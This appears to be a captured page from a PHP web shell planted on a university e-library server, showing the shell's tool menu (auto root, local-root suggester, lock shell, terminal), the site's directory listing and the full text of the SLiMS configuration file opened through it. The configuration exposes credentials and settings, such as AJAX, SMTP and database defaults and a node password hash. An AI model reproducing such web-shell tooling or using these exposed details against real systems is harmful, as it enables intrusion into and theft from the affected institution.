Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.188.15.246
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
elibrary /
Delete
Unzip
Name
Size
Permission
Date
Action
.git
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
.well-known
[ DIR ]
drwxrwxrwx
2024-05-22 23:45
admin
[ DIR ]
drwxrwxrwx
2024-12-23 03:26
api
[ DIR ]
drwxrwxrwx
2024-09-15 20:33
cgi-bin
[ DIR ]
drwxrwxrwx
2022-06-08 13:21
config
[ DIR ]
drwxrwxrwx
2022-06-08 13:52
css
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
files
[ DIR ]
drwxrwxrwx
2025-04-27 13:20
help
[ DIR ]
drwxrwxrwx
2025-04-26 00:39
images
[ DIR ]
drwxrwxrwx
2025-03-28 05:21
indexing_engine
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
installxx
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
js
[ DIR ]
drwxrwxrwx
2024-12-04 04:53
lib
[ DIR ]
drwxrwxrwx
2024-08-15 00:53
m
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
news
[ DIR ]
dr-xr-xr-x
2025-04-27 15:03
repository
[ DIR ]
drwxrwxrwx
2024-12-04 07:46
sample
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
simbio2
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
template
[ DIR ]
drwxrwxrwx
2024-08-22 20:25
upgrade
[ DIR ]
drwxrwxrwx
2024-08-14 22:40
.DS_Store
6
KB
-rw-rw-rw-
2022-06-08 13:14
.htaccess
384
B
-rw-rw-rw-
2022-11-16 00:46
LICENSE
34.3
KB
-rw-rw-rw-
2020-02-14 07:54
README.md
463
B
-rw-rw-rw-
2020-02-14 07:54
Robots.txt
167
B
-rw-rw-rw-
2025-01-19 14:23
_htaccess
560
B
-rw-rw-rw-
2022-06-08 14:19
changes.txt
19.28
KB
-rw-rw-rw-
2020-02-14 07:54
chatserver.php
3.06
KB
-rw-rw-rw-
2020-02-14 07:54
composer.json
249
B
-rw-rw-rw-
2020-02-14 07:54
composer.lock
9
KB
-rw-rw-rw-
2020-02-14 07:54
error_log
5.24
KB
-rw-rw-rw-
2022-04-06 21:28
google010d88af099b8e57.html
53
B
-rw-rw-rw-
2025-04-27 14:49
index.php
4.09
KB
-rw-rw-rw-
2020-02-14 07:54
log-bs505.png
29.61
KB
-rw-rw-rw-
2025-04-27 15:21
mainten.html
840
B
-rw-rw-rw-
2022-11-16 01:03
oai.php
4.61
KB
-rw-rw-rw-
2020-02-14 07:54
oai2.php
4.94
KB
-rw-rw-rw-
2020-02-14 07:54
sitemap.xml
509
B
-rw-rw-rw-
2025-01-19 14:23
supports.txt
608
B
-rw-rw-rw-
2020-02-14 07:54
sysconfig.inc.php
27.83
KB
-rw-rw-rw-
2022-11-16 01:44
ucnode.inc.php
1.45
KB
-rw-rw-rw-
2020-02-14 07:54
web.config
586
B
-rw-rw-rw-
2022-11-16 08:27
webicon.ico
147.81
KB
-rw-rw-rw-
2022-06-06 22:54
webicon1.ico
1.12
KB
-rw-rw-rw-
2020-02-14 07:54
webicon2.ico
1.12
KB
-rw-rw-rw-
2020-04-03 22:20
Save
Rename
<?php /** * SENAYAN application global configuration file * * Copyright (C) 2010 Arie Nugraha (dicarve@yahoo.com), Hendro Wicaksono (hendrowicaksono@yahoo.com), Wardiyono (wynerst@gmail.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ // be sure that this file not accessed directly if (!defined('INDEX_AUTH')) { die("can not access this file directly"); } else if (INDEX_AUTH != 1) { die("can not access this file directly"); } /* * Set to development or production * * In production mode, the system error message will be disabled */ define('ENVIRONMENT', 'production'); switch (ENVIRONMENT) { case 'development': @error_reporting(-1); @ini_set('display_errors', true); break; case 'production': @ini_set('display_errors', false); @error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); break; default: header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'The application environment is not set correctly.'; exit(1); // EXIT_ERROR } // require composer library if (file_exists(realpath(dirname(__FILE__)) . '/vendor/autoload.php')) require 'vendor/autoload.php'; // use httpOnly for cookie @ini_set( 'session.cookie_httponly', true ); // check if safe mode is on if ((bool) ini_get('safe_mode')) { define('SENAYAN_IN_SAFE_MODE', 1); } // set default timezone // for a list of timezone, please see PHP Manual at "List of Supported Timezones" section @date_default_timezone_set('Asia/Jakarta'); // senayan version define('SENAYAN_VERSION', 'SLiMS 9 (Bulian)'); define('SENAYAN_VERSION_TAG', 'v9.1.1'); // senayan session cookies name define('COOKIES_NAME', 'SenayanAdmin'); define('MEMBER_COOKIES_NAME', 'SenayanMember'); // alias for DIRECTORY_SEPARATOR define('DS', DIRECTORY_SEPARATOR); // senayan base dir define('SB', realpath(dirname(__FILE__)).DS); // absolute path for simbio platform define('SIMBIO', SB.'simbio2'.DS); // senayan library base dir define('LIB', SB.'lib'.DS); // document, member and barcode images base dir define('IMG', 'images'); define('IMGBS', SB.IMG.DS); // library automation module base dir define('MDL', 'modules'); define('MDLBS', SB.'admin'.DS.MDL.DS); // files upload dir define('FLS', 'files'); define('UPLOAD', SB.FLS.DS); // repository dir define('REPO', 'repository'); $repobs['enable'] = FALSE; $repobs['path'] = '/your/alternative/of/repository/directory/'; if ($repobs['enable'] == TRUE) { define('REPOBS', $repobs['path']); } else { define('REPOBS', SB.REPO.DS); } // file attachment dir define('ATC', 'att'); define('FILE_ATC', UPLOAD.ATC); // printed report dir define('REP', 'reports'); define('REPBS', UPLOAD.REP.DS); // languages base dir define('LANG', LIB.'lang'.DS); //help base dir define('HELP', SB.'help'.DS); // senayan web doc root dir /* Custom base URL */ $sysconf['baseurl'] = ''; $temp_senayan_web_root_dir = preg_replace('@admin.*@i', '', str_replace('\\', '/', dirname(@$_SERVER['PHP_SELF']))); define('SWB', $sysconf['baseurl'].$temp_senayan_web_root_dir.(preg_match('@\/$@i', $temp_senayan_web_root_dir)?'':'/')); // admin section web root dir define('AWB', SWB.'admin/'); // javascript library web root dir define('JWB', SWB.'js/'); // library automation module web root dir define('MWB', SWB.'admin/'.MDL.'/'); // repository web base dir define('REPO_WBS', SWB.REPO.'/'); // item status rules define('NO_LOAN_TRANSACTION', 1); define('SKIP_STOCK_TAKE', 2); // command execution status define('BINARY_NOT_FOUND', 127); define('BINARY_FOUND', 1); define('COMMAND_SUCCESS', 0); define('COMMAND_FAILED', 2); // simbio main class inclusion require SIMBIO.'simbio.inc.php'; // simbio security class require SIMBIO.'simbio_UTILS'.DS.'simbio_security.inc.php'; // we must include utility library first require LIB.'utility.inc.php'; // include API require LIB.'api.inc.php'; // include biblio class require MDLBS.'bibliography/biblio.inc.php'; // check if we are in mobile browser mode if (utility::isMobileBrowser()) { define('LIGHTWEIGHT_MODE', 1); } /* AJAX SECURITY */ $sysconf['ajaxsec_user'] = 'ajax'; $sysconf['ajaxsec_passwd'] = 'secure'; $sysconf['ajaxsec_ip_enabled'] = 0; $sysconf['ajaxsec_ip_allowed'] = ''; /* session login timeout in second */ $sysconf['session_timeout'] = 7200; /* default application language */ $sysconf['default_lang'] = 'en_US'; $sysconf['spellchecker_enabled'] = true; /* HTTP header */ header('Content-type: text/html; charset=UTF-8'); /* GUI Template config */ $sysconf['template']['dir'] = 'template'; $sysconf['template']['theme'] = 'default'; $sysconf['template']['css'] = $sysconf['template']['dir'].'/'.$sysconf['template']['theme'].'/style.css'; /* ADMIN SECTION GUI Template config */ $sysconf['admin_template']['dir'] = 'admin_template'; $sysconf['admin_template']['theme'] = 'default'; $sysconf['admin_template']['css'] = $sysconf['admin_template']['dir'].'/'.$sysconf['admin_template']['theme'].'/style.css'; /* OPAC */ $sysconf['opac_result_num'] = 10; /* Biblio module */ $sysconf['biblio_result_num'] = 30; $sysconf['batch_item_code_pattern'] = 'B00000'; /* Promote selected title(s) to homepage setting */ $sysconf['enable_promote_titles'] = false; $sysconf['promote_first_emphasized'] = true; /* Dynamic Content */ $sysconf['content']['allowable_tags'] = '<p><a><cite><code><em><strong><cite><blockquote><fieldset><legend>' .'<h3><hr><br><table><tr><td><th><thead><tbody><tfoot><div><span><img><object><param>'; /* allow logged in members to mark bibliography titles, show the title basket in the member details and send a mail to reserve these titles */ $sysconf['enable_mark'] = true; /* XML */ $sysconf['enable_xml_detail'] = true; $sysconf['enable_xml_result'] = true; /* JSON LD */ $sysconf['jsonld_result'] = true; $sysconf['jsonld_detail'] = true; /* DATABASE BACKUP config */ // specify the full path of mysqldump binary // Added by Drajat Hasan // For Windows platform with XAMPP if (preg_match("/(Windows)/i", php_uname('a'))) { if (preg_match("/(xampp)/i", __DIR__)) { $rempath = substr(__DIR__, 0, strpos(__DIR__, "htdocs")); $sysconf['mysqldump'] = $rempath."mysql\bin\mysqldump.exe"; } else { // not use XAMPP? change this value with full path of mysqldump.exe $sysconf['mysqldump'] = 'C:\...\mysqldump.exe'; } } else { // For Linux Platform $sysconf['mysqldump'] = '/usr/bin/mysqldump'; } // backup location (make sure it is accessible and rewritable to webserver!) $sysconf['temp_dir'] = '/tmp'; $sysconf['backup_dir'] = UPLOAD.'backup'.DS; /* FILE DOWNLOAD */ $sysconf['allow_file_download'] = false; /* WEBCAM feature */ $sysconf['webcam'] = false; //enabled this feature by changed to 'html5' or 'flex'. FALSE will be defined if none is configured here. /* SCANNER feature */ $sysconf['scanner'] = false; /* Barcode Reader */ $sysconf['barcode_reader'] = true; // Zend Barcode Engine $sysconf['zend_barcode_engine'] = true; // Zend Barcode Engine Encoding selection // $barcodes_encoding['CODE25'] = array('code25', 'Code 2 or 5 Industrial (may result in barcode creation error)'); // $barcodes_encoding['CODE25I'] = array('code25interleaved', 'Code 2 or 5 Interleaved (may result in barcode creation error)'); $barcodes_encoding['code39'] = array('code39', 'Code 39'); $barcodes_encoding['code128'] = array('code128', 'Code 128'); // $barcodes_encoding['EAN2'] = array('ean2', 'Ean 2 (may result in barcode creation error)'); // $barcodes_encoding['EAN5'] = array('ean5', 'Ean 5 (may result in barcode creation error)'); // $barcodes_encoding['EAN8'] = array('ean8', 'Ean 8'); // $barcodes_encoding['EAN13'] = array('ean13', 'Ean 13 (may result in barcode creation error)'); // $barcodes_encoding['IDENTCODE'] = array('identcode', 'Identcode (may result in barcode creation error)'); // $barcodes_encoding['ITF14'] = array('itf14', 'ITF-14 (may result in barcode creation error)'); // $barcodes_encoding['LEITCODE'] = array('leitcode', 'Leitcode (may result in barcode creation error)'); // $barcodes_encoding['PLANET'] = array('planet', 'Planet (may result in barcode creation error)'); // $barcodes_encoding['POSTNET'] = array('postnet', 'Postnet (may result in barcode creation error)'); // $barcodes_encoding['ROYALMAIL'] = array('royalmail', 'Royalmail (may result in barcode creation error)'); // $barcodes_encoding['UPCA'] = array('upca', 'UPC-A (may result in barcode creation error)'); // $barcodes_encoding['UPCE'] = array('upce', 'UPC-E (may result in barcode creation error)'); $sysconf['barcode_encoding'] = $barcodes_encoding['code128'][0]; /* QUICK RETURN */ $sysconf['quick_return'] = true; /* LOAN LIMIT OVERRIDE */ $sysconf['loan_limit_override'] = false; /* LOAN DATE CHANGE IN CIRCULATION */ $sysconf['allow_loan_date_change'] = false; /* CIRCULATION RELATED */ $sysconf['circulation_receipt'] = false; /* NOTIFICATION RELATED */ $sysconf['transaction_finished_notification'] = false; $sysconf['bibliography_update_notification'] = true; $sysconf['bibliography_item_update_notification'] = true; $sysconf['login_message'] = false; $sysconf['logout_message'] = false; /* FILE UPLOADS */ $sysconf['max_upload'] = intval(ini_get('upload_max_filesize'))*1024; $post_max_size = intval(ini_get('post_max_size'))*1024; if ($sysconf['max_upload'] > $post_max_size) { $sysconf['max_upload'] = $post_max_size-1024; } $sysconf['max_image_upload'] = 5000; // allowed image file to upload $sysconf['allowed_images'] = array('.jpeg', '.jpg', '.gif', '.png', '.JPEG', '.JPG', '.GIF', '.PNG'); // allowed file attachment to upload $sysconf['allowed_file_att'] = array('.pdf', '.rtf', '.txt', '.odt', '.odp', '.ods', '.doc', '.xls', '.ppt', '.avi', '.mpeg', '.mp4', '.flv', '.mvk', '.jpg', '.jpeg', '.png', '.gif', '.docx', '.pptx', '.xlsx', '.ogg', '.mp3', '.xml', '.mrc'); $sysconf['allowed_images_mimetype'] = array( 'image/jpeg', 'image/png', ); /* FILE ATTACHMENT MIMETYPES */ $sysconf['mimetype']['docx'] = 'application/msword'; $sysconf['mimetype']['js'] = 'application/javascript'; $sysconf['mimetype']['json'] = 'application/json'; $sysconf['mimetype']['doc'] = 'application/msword'; $sysconf['mimetype']['dot'] = 'application/msword'; $sysconf['mimetype']['ogg'] = 'application/ogg'; $sysconf['mimetype']['pdf'] = 'application/pdf'; $sysconf['mimetype']['rdf'] = 'application/rdf+xml'; $sysconf['mimetype']['rss'] = 'application/rss+xml'; $sysconf['mimetype']['rtf'] = 'application/rtf'; $sysconf['mimetype']['xls'] = 'application/vnd.ms-excel'; $sysconf['mimetype']['xlt'] = 'application/vnd.ms-excel'; $sysconf['mimetype']['chm'] = 'application/vnd.ms-htmlhelp'; $sysconf['mimetype']['ppt'] = 'application/vnd.ms-powerpoint'; $sysconf['mimetype']['pps'] = 'application/vnd.ms-powerpoint'; $sysconf['mimetype']['odc'] = 'application/vnd.oasis.opendocument.chart'; $sysconf['mimetype']['odf'] = 'application/vnd.oasis.opendocument.formula'; $sysconf['mimetype']['odg'] = 'application/vnd.oasis.opendocument.graphics'; $sysconf['mimetype']['odi'] = 'application/vnd.oasis.opendocument.image'; $sysconf['mimetype']['odp'] = 'application/vnd.oasis.opendocument.presentation'; $sysconf['mimetype']['ods'] = 'application/vnd.oasis.opendocument.spreadsheet'; $sysconf['mimetype']['odt'] = 'application/vnd.oasis.opendocument.text'; $sysconf['mimetype']['swf'] = 'application/x-shockwave-flash'; $sysconf['mimetype']['zip'] = 'application/zip'; $sysconf['mimetype']['mp3'] = 'audio/mpeg'; $sysconf['mimetype']['jpg'] = 'image/jpeg'; $sysconf['mimetype']['gif'] = 'image/gif'; $sysconf['mimetype']['png'] = 'image/png'; $sysconf['mimetype']['flv'] = 'video/x-flv'; $sysconf['mimetype']['mp4'] = 'video/mp4'; $sysconf['mimetype']['xml'] = 'text/xml'; $sysconf['mimetype']['mrc'] = 'text/marc'; $sysconf['mimetype']['txt'] = 'text/plain'; /* PRICE CURRENCIES SETTING */ $sysconf['currencies'] = array( array('0', 'NONE'), 'Rupiah', 'USD', 'Euro', 'DM', 'Pounds', 'Yen', 'Won', 'Yuan', 'SGD', 'Bath', 'Ruppee', 'Taka', 'AUD'); /* RESERVE PERIODE (In Days) */ $sysconf['reserve_expire_periode'] = 7; /* CONTENT */ $sysconf['library_name'] = 'Senayan'; $sysconf['library_subname'] = 'Open Source Library Management System'; $sysconf['page_footer'] = ' Senayan Library Management System (SLiMS). Released Under GNU GPL License.<br>Made with love by SLiMS Developer Community'; /* HTTPS Setting */ $sysconf['https_enable'] = false; $sysconf['https_port'] = 443; /* Date Format Setting for OPAC */ $sysconf['date_format'] = 'Y-m-d'; /* Produce 2009-12-31 */ // $sysconf['date_format'] = 'd-M-Y'; /* Produce 31-Dec-2009 */ $sysconf['pdf']['viewer'] = 'pdfjs'; # 'pdfjs' /** * UCS global settings */ $sysconf['ucs']['enable'] = false; // auto delete same record on UCS? $sysconf['ucs']['auto_delete'] = false; // auto insert new record to UCS? $sysconf['ucs']['auto_insert'] = false; // UCS server address. NO TRAILING SLASH! for local testing on Windows machine don't use localhost, use 127.0.0.1 instead $sysconf['ucs']['serveraddr'] = 'http://localhost/ucs'; // UCS server version $sysconf['ucs']['serverversion'] = 2; // node ID $sysconf['ucs']['id'] = 'slims-node'; // default is s0beautifulday $sysconf['ucs']['password'] = '2325f677e21c1613909c953eb03c57352259cc5d'; // node name $sysconf['ucs']['name'] = 'SLiMS Library'; /** * Z39.50 copy cataloguing sources */ $sysconf['z3950_max_result'] = 50; $sysconf['z3950_source'][1] = array('uri' => 'z3950.loc.gov:7090/voyager', 'name' => 'Library of Congress Voyager'); $sysconf['z3950_SRU_source'][1] = array('uri' => 'http://z3950.loc.gov:7090/voyager', 'name' => 'Library of Congress SRU Voyager'); /** * MARC copy cataloguing sources */ $sysconf['marc_SRU_source'][1] = array('uri' => 'http://opac.perpusnas.go.id/sru.aspx', 'name' => 'Perpustakaan Nasional RI'); /** * Peer to peer server config */ $sysconf['p2pserver'][1] = array('uri' => 'http://127.0.0.1/slims9_bulian', 'name' => 'SLiMS Library'); /** * User and member login method */ $sysconf['auth']['user']['method'] = 'native'; // method can be 'native' or 'LDAP' $sysconf['auth']['member']['method'] = 'native'; // for library member, method can be 'native' or 'LDAP' /** * LDAP Specific setting for User */ if (($sysconf['auth']['user']['method'] === 'LDAP') OR ($sysconf['auth']['member']['method'] === 'LDAP')) { $sysconf['auth']['user']['ldap_server'] = '127.0.0.1'; // LDAP server $sysconf['auth']['user']['ldap_base_dn'] = 'ou=slims,dc=diknas,dc=go,dc=id'; // LDAP base DN $sysconf['auth']['user']['ldap_suffix'] = ''; // LDAP user suffix $sysconf['auth']['user']['ldap_bind_dn'] = 'uid=#loginUserName,'.$sysconf['auth']['user']['ldap_base_dn']; // Binding DN $sysconf['auth']['user']['ldap_port'] = null; // optional LDAP server connection port, use null or false for default $sysconf['auth']['user']['ldap_options'] = array( array(LDAP_OPT_PROTOCOL_VERSION, 3), array(LDAP_OPT_REFERRALS, 0) ); // optional LDAP server options $sysconf['auth']['user']['ldap_search_filter'] = '(|(uid=#loginUserName)(cn=#loginUserName*))'; // LDAP search filter, #loginUserName will be replaced by the real login name $sysconf['auth']['user']['userid_field'] = 'uid'; // LDAP field for username $sysconf['auth']['user']['fullname_field'] = 'cn'; // LDAP field for full name $sysconf['auth']['user']['mail_field'] = 'mail'; // LDAP field for e-mail /** * LDAP Specific setting for member * By default same as User */ $sysconf['auth']['member']['ldap_server'] = &$sysconf['auth']['user']['ldap_server']; // LDAP server $sysconf['auth']['member']['ldap_base_dn'] = &$sysconf['auth']['user']['ldap_base_dn']; // LDAP base DN $sysconf['auth']['member']['ldap_suffix'] = &$sysconf['auth']['user']['ldap_suffix']; // LDAP user suffix $sysconf['auth']['member']['ldap_bind_dn'] = &$sysconf['auth']['user']['ldap_bind_dn']; // Binding DN $sysconf['auth']['member']['ldap_port'] = &$sysconf['auth']['user']['ldap_port']; // optional LDAP server connection port, use null or false for default $sysconf['auth']['member']['ldap_options'] = &$sysconf['auth']['user']['ldap_options']; // optional LDAP server options $sysconf['auth']['member']['ldap_search_filter'] = &$sysconf['auth']['user']['ldap_search_filter']; // LDAP search filter, #loginUserName will be replaced by the real login name $sysconf['auth']['member']['userid_field'] = &$sysconf['auth']['user']['userid_field']; // LDAP field for username $sysconf['auth']['member']['fullname_field'] = &$sysconf['auth']['user']['fullname_field']; // LDAP field for full name $sysconf['auth']['member']['mail_field'] = &$sysconf['auth']['user']['mail_field']; // LDAP field for e-mail } /** * BIBLIO INDEXING */ $sysconf['index']['type'] = 'index'; // value can be 'default', 'index' OR 'sphinx' $sysconf['index']['sphinx_opts'] = array( 'host' => '127.0.0.1', 'port' => 9312, 'index' => 'slims', // name of index in sphinx.conf 'mode' => null, 'timeout' => 0, 'filter' => '@last_update desc', 'filtervals' => array(), 'groupby' => null, 'groupsort' => null, 'sortby' => null, 'sortexpr' => null, 'distinct' => 'biblio_id', 'select' => null, 'limit' => 20, 'max_limit' => 100000, // must be less or same with max_matches in sphinx.conf 'ranker' => null); $sysconf['index']['engine']['enable'] = FALSE; $sysconf['index']['engine']['type'] = 'es'; // value can be 'solr' OR 'es' for ElasticSearch $sysconf['index']['engine']['solr_opts'] = array( 'host' => 'http://172.17.0.4', 'port' => 8983, 'collection' => 'slims' // name of collection in Solr ); $sysconf['index']['engine']['es_opts'] = array( 'hosts' => ['localhost:9200'], 'index' => 'slims' // name of index in ElasticSearch ); /** * Captcha Settings */ // Captcha settings for Senayan Management Console (aka Librarian Login) $sysconf['captcha']['smc']['enable'] = false; // value can be 'true' or 'false' $sysconf['captcha']['smc']['type'] = 'recaptcha'; // value can be 'recaptcha' (at this time) if ($sysconf['captcha']['smc']['enable']) { include_once LIB.$sysconf['captcha']['smc']['type'].DS.'smc_settings.inc.php'; } // Captcha settings for Member Login $sysconf['captcha']['member']['enable'] = false; // value can be 'true' or 'false' $sysconf['captcha']['member']['type'] = 'recaptcha'; // value can be 'recaptcha' (at this time) if ($sysconf['captcha']['member']['enable']) { include_once LIB.$sysconf['captcha']['member']['type'].DS.'member_settings.inc.php'; } /** * Mailing Settings */ $sysconf['mail']['enable'] = true; $sysconf['mail']['server'] = 'ssl://smtp.gmail.com:465'; // SMTP server $sysconf['mail']['server_port'] = 465; // the SMTP port $sysconf['mail']['auth_enable'] = true; // enable SMTP authentication $sysconf['mail']['auth_username'] = 'admin'; // SMTP account username $sysconf['mail']['auth_password'] = 'admin'; // SMTP account password $sysconf['mail']['from'] = 'admin@localhost'; $sysconf['mail']['from_name'] = 'SLiMS Administrator'; $sysconf['mail']['reply_to'] = &$sysconf['mail']['from']; $sysconf['mail']['reply_to_name'] = &$sysconf['mail']['from_name']; /** * Maximum biblio mark for member */ $sysconf['max_biblio_mark'] = 20; // Thumbnail Generator $sysconf['tg']['relative_url'] = '../../'; $sysconf['tg']['docroot'] = ''; #usually use this in a virtual or alias based hosting $sysconf['tg']['type'] = 'minigalnano'; # minigalnano // IP based access limitation $sysconf['ipaccess']['general'] = 'all'; // donot change this unless you know what you are doing $sysconf['ipaccess']['opac'] = 'all'; // donot change this unless you know what you are doing $sysconf['ipaccess']['opac-member'] = 'all'; // donot change this unless you know what you are doing $sysconf['ipaccess']['smc'] = 'all'; $sysconf['ipaccess']['smc-bibliography'] = 'all'; $sysconf['ipaccess']['smc-circulation'] = 'all'; $sysconf['ipaccess']['smc-membership'] = 'all'; $sysconf['ipaccess']['smc-masterfile'] = 'all'; $sysconf['ipaccess']['smc-stocktake'] = 'all'; $sysconf['ipaccess']['smc-system'] = 'all'; $sysconf['ipaccess']['smc-reporting'] = 'all'; $sysconf['ipaccess']['smc-serialcontrol'] = 'all'; // OAI-PMH settings $sysconf['OAI']['enable'] = true; $sysconf['OAI']['identifierPrefix'] = 'oai:slims/'; $sysconf['OAI']['Identify']['baseURL'] = 'http://'.@$_SERVER['SERVER_NAME'].':'.@$_SERVER['SERVER_PORT'].SWB.'oai.php'; $sysconf['OAI']['Identify']['repositoryName'] = 'SLiMS Senayan Library Management System Repository'; $sysconf['OAI']['Identify']['adminEmail'] = 'admin@slims.web.id'; $sysconf['OAI']['Identify']['granularity'] = 'YYYY-MM-DDThh:mm:ssZ'; $sysconf['OAI']['Identify']['deletedRecord'] = 'transient'; $sysconf['OAI']['Identify']['metadataPolicy'] = ''; $sysconf['OAI']['ListRecords']['RecordPerSet'] = '100'; $sysconf['OAI']['MetadataFormats']['Dublin Core'] = array( 'oai_prefix' => 'oai_dc', 'schema_xsd' => 'http://www.openarchives.org/OAI/2.0/oai_dc.xsd', 'namespace' => 'http://www.openarchives.org/OAI/2.0/oai_dc/'); // Search clustering $sysconf['enable_search_clustering'] = false; // comment $sysconf['comment']['enable'] = true; // social apps sharing $sysconf['social_shares'] = true; // social media for user and member $sysconf['social']['fb'] = 'Facebook'; $sysconf['social']['tw'] = 'Twitter'; $sysconf['social']['li'] = 'LinkedIn'; $sysconf['social']['rd'] = 'Reddit'; $sysconf['social']['pn'] = 'Pinterest'; $sysconf['social']['gp'] = 'Google Plus+'; $sysconf['social']['yt'] = 'YouTube'; $sysconf['social']['bl'] = 'Blog'; $sysconf['social']['ym'] = 'Yahoo! Messenger'; /* CHATTING SYSTEM */ $sysconf['chat_system']['enabled'] = false; $sysconf['chat_system']['vendors'] = 'phpwebscoketchat'; $sysconf['chat_system']['opac'] = false; $sysconf['chat_system']['librarian'] = false; $sysconf['chat_system']['server'] = '127.0.0.1'; $sysconf['chat_system']['server_port'] = 9300; /* NEWS */ $sysconf['news']['num_each_page'] = 10; /* LIBRARY MAP COORDINATES */ $sysconf['location']['lat'] = -7.977000; $sysconf['location']['long'] = 112.634025; /* CHART */ $sysconf['chart']['mode'] = 'chartjs'; // plot or chartjs. default is plot $sysconf['admin_home']['mode'] = 'dashboard'; // set as 'default' or 'dashboard' mode // check if session is auto started and then destroy it if ($is_auto = @ini_get('session.auto_start')) { define('SESSION_AUTO_STARTED', $is_auto); } if (defined('SESSION_AUTO_STARTED')) { @session_destroy(); } // check for local sysconfig For Admin (fa) file if (defined('DB_ACCESS') && DB_ACCESS == 'fa' && file_exists(SB.'config'.DS.'sysconfig.local.fa.inc.php')) { include SB.'sysconfig.local.fa.inc.php'; } else { // check for local sysconfig file if (file_exists(SB.'config'.DS.'sysconfig.local.inc.php')) { include SB.'config'.DS.'sysconfig.local.inc.php'; } else { header("location: install/index.php"); exit; } } /* DATABASE RELATED */ if (!defined('DB_HOST')) { define('DB_HOST', 'localhost'); } if (!defined('DB_PORT')) { define('DB_PORT', '3306'); } if (!defined('DB_NAME')) { define('DB_NAME', 'senayandb'); } if (!defined('DB_USERNAME')) { define('DB_USERNAME', 'senayanuser'); } if (!defined('DB_PASSWORD')) { define('DB_PASSWORD', 'password_senayanuser'); } // database connection // we prefer to use mysqli extensions if its available if (extension_loaded('mysqli')) { /* MYSQLI */ $dbs = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_NAME, DB_PORT); if (mysqli_connect_error()) { die("Error Connecting to Database with message: ".mysqli_connect_error().". Please check your configuration!\n"); } } else { /* MYSQL */ // require the simbio mysql class include SIMBIO.'simbio_DB/mysql/simbio_mysql.inc.php'; // make a new connection object that will be used by all applications $dbs = @new simbio_mysql(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_NAME, DB_PORT); } /* Force UTF-8 for MySQL connection */ $dbs->query('SET NAMES \'utf8\''); // load global settings from database. Uncomment below lines if you dont want to load it utility::loadSettings($dbs); // template info config if (!file_exists($sysconf['template']['dir'].'/'.$sysconf['template']['theme'].'/tinfo.inc.php')) { $sysconf['template']['base'] = 'php'; /* html OR php */ } else { require $sysconf['template']['dir'].'/'.$sysconf['template']['theme'].'/tinfo.inc.php'; } // admin template info config if (file_exists($sysconf['admin_template']['dir'].'/'.$sysconf['admin_template']['theme'].'/tinfo.inc.php')) { require $sysconf['admin_template']['dir'].'/'.$sysconf['admin_template']['theme'].'/tinfo.inc.php'; } // load global settings again for override tinfo setting utility::loadSettings($dbs); // check for user language selection if we are not in admin areas if (stripos($_SERVER['PHP_SELF'], '/admin') === false) { if (isset($_GET['select_lang'])) { $select_lang = trim(strip_tags($_GET['select_lang'])); // delete previous language cookie if (isset($_COOKIE['select_lang'])) { @setcookie('select_lang', $select_lang, time()-14400, SWB); } // create language cookie @setcookie('select_lang', $select_lang, time()+14400, SWB); $sysconf['default_lang'] = $select_lang; } else if (isset($_COOKIE['select_lang'])) { $sysconf['default_lang'] = trim(strip_tags($_COOKIE['select_lang'])); } // set back to en_US on XML if (isset($_GET['resultXML']) OR isset($_GET['inXML'])) { $sysconf['default_lang'] = 'en_US'; } } // Apply language settings require LANG.'localisation.php'; /* AUTHORITY TYPE */ $sysconf['authority_type']['p'] = __('Personal Name'); $sysconf['authority_type']['o'] = __('Organizational Body'); $sysconf['authority_type']['c'] = __('Conference'); /* SUBJECT/AUTHORITY TYPE */ $sysconf['subject_type']['t'] = __('Topic'); $sysconf['subject_type']['g'] = __('Geographic'); $sysconf['subject_type']['n'] = __('Name'); $sysconf['subject_type']['tm'] = __('Temporal'); $sysconf['subject_type']['gr'] = __('Genre'); $sysconf['subject_type']['oc'] = __('Occupation'); /* AUTHORITY LEVEL */ $sysconf['authority_level'][1] = __('Primary Author'); $sysconf['authority_level'][2] = __('Additional Author'); $sysconf['authority_level'][3] = __('Editor'); $sysconf['authority_level'][4] = __('Translator'); $sysconf['authority_level'][5] = __('Director'); $sysconf['authority_level'][6] = __('Producer'); $sysconf['authority_level'][7] = __('Composer'); $sysconf['authority_level'][8] = __('Illustrator'); $sysconf['authority_level'][9] = __('Creator'); $sysconf['authority_level'][10] = __('Contributor'); // system user type $sysconf['system_user_type'][1] = __('Librarian'); $sysconf['system_user_type'][2] = __('Senior Librarian'); $sysconf['system_user_type'][3] = __('Library Staff'); // redirect to mobile template on mobile mode if (defined('LIGHTWEIGHT_MODE') AND !isset($_COOKIE['FULLSITE_MODE']) AND isset($sysconf['template']['responsive']) && $sysconf['template']['responsive'] === false) { $sysconf['template']['theme'] = 'lightweight'; $sysconf['template']['css'] = $sysconf['template']['dir'].'/'.$sysconf['template']['theme'].'/style.css'; $sysconf['enable_xml_detail'] = false; $sysconf['enable_xml_result'] = false; } // visitor limitation $sysconf['enable_counter_by_ip'] = true; $sysconf['allowed_counter_ip'] = ['127.0.0.1']; $sysconf['enable_visitor_limitation'] = false; // "true" or "false" $sysconf['time_visitor_limitation'] = 60; // in minute /* new log system */ $sysconf['log']['biblio'] = TRUE; // REST Api 